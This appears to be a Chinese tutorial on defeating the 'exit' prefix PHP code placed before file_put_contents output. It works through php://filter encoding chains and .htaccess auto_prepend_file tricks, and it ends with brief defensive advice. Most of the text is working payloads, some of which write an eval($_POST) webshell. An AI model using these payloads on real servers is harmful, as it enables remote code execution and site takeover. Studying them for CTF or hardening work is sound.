file_put_content和死亡·杂糅代码之缘
字数 874 2025-08-19 12:41:56
PHP中file_put_contents的绕过技术详解
引言
本文详细分析PHP中file_put_contents函数的三种常见限制情况及其绕过方法,主要利用PHP伪协议filter结合编码转换或过滤器来分解死亡代码或杂糅代码。
三种常见情况分析
情况一:文件名和内容可控
file_put_contents($filename, "<?php exit();".$content);
绕过方法:
-
Base64编码绕过
$filename = 'php://filter/convert.base64-decode/resource=s1mple.php'; $content = 'aPD9waHAgcGhwaW5mbygpOz8+'; // 注意前面补'a'保持4字节对齐- 原理:base64解码将死亡代码转为乱码
- 注意:需保持4字节对齐,前面补字符
-
rot13编码绕过
$filename = 'php://filter/string.rot13/resource=s1mple.php'; $content = '<?cuc rkvg();?>' . 'cucvasb();';- 注意:服务器开启短标签时可能被解析
-
.htaccess预包含利用
$filename = 'php://filter/write=string.strip_tags/resource=.htaccess'; $content = '?>php_value%20auto_prepend_file%20G:\s1mple.php';- 原理:过滤HTML标签消除死亡代码
- 限制:PHP7.3.0+废弃此过滤器
-
过滤器组合拳
- PHP5环境:
$filename = 'php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php'; $content = '?>PD9waHAgcGhwaW5mbygpOz8+'; - PHP7环境:
$filename = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php'; $content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?> <?php %0dphpinfo();?>';
- PHP5环境:
情况二:单一变量控制
file_put_contents($content, "<?php exit();".$content);
绕过方法:
-
.htaccess预包含
?content=php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\s1mple.php%0a%23/resource=.htaccess -
Base64编码绕过
- 直接方式(可能失败):
php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=s1mple.php - 改进方式(过滤器嵌套):
php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php - 伪目录方式:
php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../s1mple.php
- 直接方式(可能失败):
-
rot13编码
php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=s1mple.php -
convert.iconv编码转换
- UCS-2编码(2位一反转):
php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[m1lp]e;)>?/resource=s1mple.php - UCS-4编码(4位一反转):
php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]pm1>?;)/resource=s1mple.php - UTF-8与UTF-7转换:
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=s1mple.php
- UCS-2编码(2位一反转):
情况三:内容追加杂糅代码
file_put_contents($filename, $content . "\nxxxxxx");
绕过方法:
-
利用语言特殊标记
- 如PHP的
<?php ?>标记可忽略后面杂糅代码
- 如PHP的
-
.htaccess文件处理
- 使用注释符处理杂糅代码:
$content = "# 注释内容 \\\nphp_value auto_prepend_file flag.php"; - 注意:格式敏感,错误会导致文件锁死
- 使用注释符处理杂糅代码:
技术原理总结
- 编码转换:利用base64、rot13等编码使PHP引擎无法识别死亡代码
- 过滤器链:多个过滤器组合使用,层层处理原始内容
- 文件包含:通过.htaccess预包含目标文件
- 编码扰乱:使用iconv进行字符编码转换扰乱原始内容
环境限制说明
-
PHP版本差异:
string.strip_tags在PHP7.3.0+废弃- 部分过滤器仅在特定版本有效
-
服务器配置:
- 短标签配置影响rot13效果
- .htaccess文件权限和配置
防御建议
- 严格过滤用户输入
- 禁用危险协议和过滤器
- 使用最新PHP版本
- 对文件操作进行权限控制